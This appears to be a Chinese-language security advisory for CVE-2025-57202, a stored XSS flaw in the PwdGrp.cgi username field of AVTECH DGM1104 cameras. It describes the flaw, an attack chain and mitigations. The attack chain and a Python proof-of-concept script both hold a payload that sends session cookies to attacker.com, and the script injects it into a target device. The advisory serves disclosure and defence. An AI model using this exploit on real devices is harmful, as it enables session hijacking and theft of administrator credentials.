IPBUF安全漏洞报告
English
CVE-2025-57202 CVSS 6.1 中危

CVE-2025-57202: AVTECH DGM1104 存储型XSS漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-57202
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003

相关标签

CVE-2025-57202存储型XSSAVTECHDGM1104网络摄像头物联网安全Web应用漏洞PwdGrp.cgi跨站脚本会话劫持

漏洞概述

CVE-2025-57202是AVTECH SECURITY公司DGM1104系列网络摄像头设备中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于设备的PwdGrp.cgi端点中,攻击者可以通过在用户名字段(username field)中注入恶意构造的脚本代码来利用此漏洞。由于该XSS是存储型漏洞,恶意脚本会被永久保存在设备系统中,当其他用户访问相关页面时,注入的恶意代码会自动执行,从而实现会话劫持、敏感信息窃取、恶意内容注入等攻击目的。该漏洞无需认证即可利用,但需要用户交互才能触发。CVSS评分6.1,属于中等严重程度。攻击向量为网络形式,机密性和完整性影响均为低。该漏洞影响AVTECH DGM1104 FullImg多个版本(1015、1004、1006、1003)的设备,攻击者可利用此漏洞在受害者浏览器中执行任意HTML或JavaScript代码。

技术细节

该漏洞原理是PwdGrp.cgi端点对用户输入的用户名字段缺乏充分的输入验证和输出编码。当攻击者向该端点提交包含恶意JavaScript代码的用户名时,这些数据会被存储在设备系统中。当管理员或普通用户通过Web界面访问用户管理相关功能时,服务器会将存储的用户名数据原样返回给客户端浏览器。由于浏览器将返回的数据当作可信的HTML/JavaScript执行,注入的恶意脚本便会运行。攻击者可以利用此漏洞执行以下操作:1)窃取用户会话Cookie实现会话劫持;2)诱骗用户输入敏感凭证;3)在页面中注入恶意内容进行钓鱼攻击;4)利用管理员权限执行更多恶意操作。攻击者通常需要构造类似<script>alert(document.cookie)</script>或<img src=x onerror=...>等XSS payload。由于是存储型XSS,攻击效果具有持久性。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标AVTECH DGM1104设备的IP地址,并确认PwdGrp.cgi端点是否可访问
STEP 2
步骤2
构造XSS payload:攻击者准备恶意JavaScript代码,如<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
STEP 3
步骤3
注入恶意代码:通过HTTP POST请求向PwdGrp.cgi端点的用户名字段提交构造的XSS payload
STEP 4
步骤4
持久化存储:恶意payload被存储在设备系统中,由于是存储型XSS,代码会永久保存在服务器端
STEP 5
步骤5
触发执行:当管理员或其他用户访问用户管理页面时,服务器将包含恶意代码的用户名返回给客户端浏览器
STEP 6
步骤6
代码执行:受害者浏览器将返回的数据作为可信脚本执行,触发XSS攻击,可能导致会话劫持或敏感信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-57202 PoC - Stored XSS in AVTECH DGM1104 PwdGrp.cgi # This PoC demonstrates how to inject malicious JavaScript via username field import requests import sys target_url = "http://<target_ip>/cgi-bin/PwdGrp.cgi" # XSS payload - steals session cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Alternative payload - basic alert demonstration xss_payload_alt = "<img src=x onerror='alert(\"XSS\")'>" def exploit_stored_xss(target_ip, payload): """ Exploits CVE-2025-57202 by injecting XSS payload into username field via PwdGrp.cgi endpoint. """ # Prepare the malicious username data = { "username": payload, "action": "add" # or appropriate action parameter } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully: {payload}") print(f"[+] The XSS payload is now stored on the device") print(f"[+] It will execute when any user visits the affected page") return True else: print(f"[-] Failed to send payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [payload_type]") print(f"payload_type: 1 = cookie steal, 2 = alert demo (default: 1)") sys.exit(1) target_ip = sys.argv[1] payload_type = sys.argv[2] if len(sys.argv) > 2 else "1" target_url = f"http://{target_ip}/cgi-bin/PwdGrp.cgi" payload = xss_payload if payload_type == "1" else xss_payload_alt exploit_stored_xss(target_url, payload)

影响范围

AVTECH DGM1104 FullImg-1015
AVTECH DGM1104 FullImg-1004
AVTECH DGM1104 FullImg-1006
AVTECH DGM1104 FullImg-1003

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)使用Web应用防火墙(WAF)规则过滤恶意XSS payload,如<script>、<img onerror=>等特征;2)禁用设备的远程Web管理界面或限制仅允许受信任的IP地址访问;3)监控网络流量,检测针对PwdGrp.cgi端点的异常请求;4)定期检查设备日志,查找可能的XSS注入痕迹;5)考虑使用VPN或防火墙隔离物联网设备网络。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表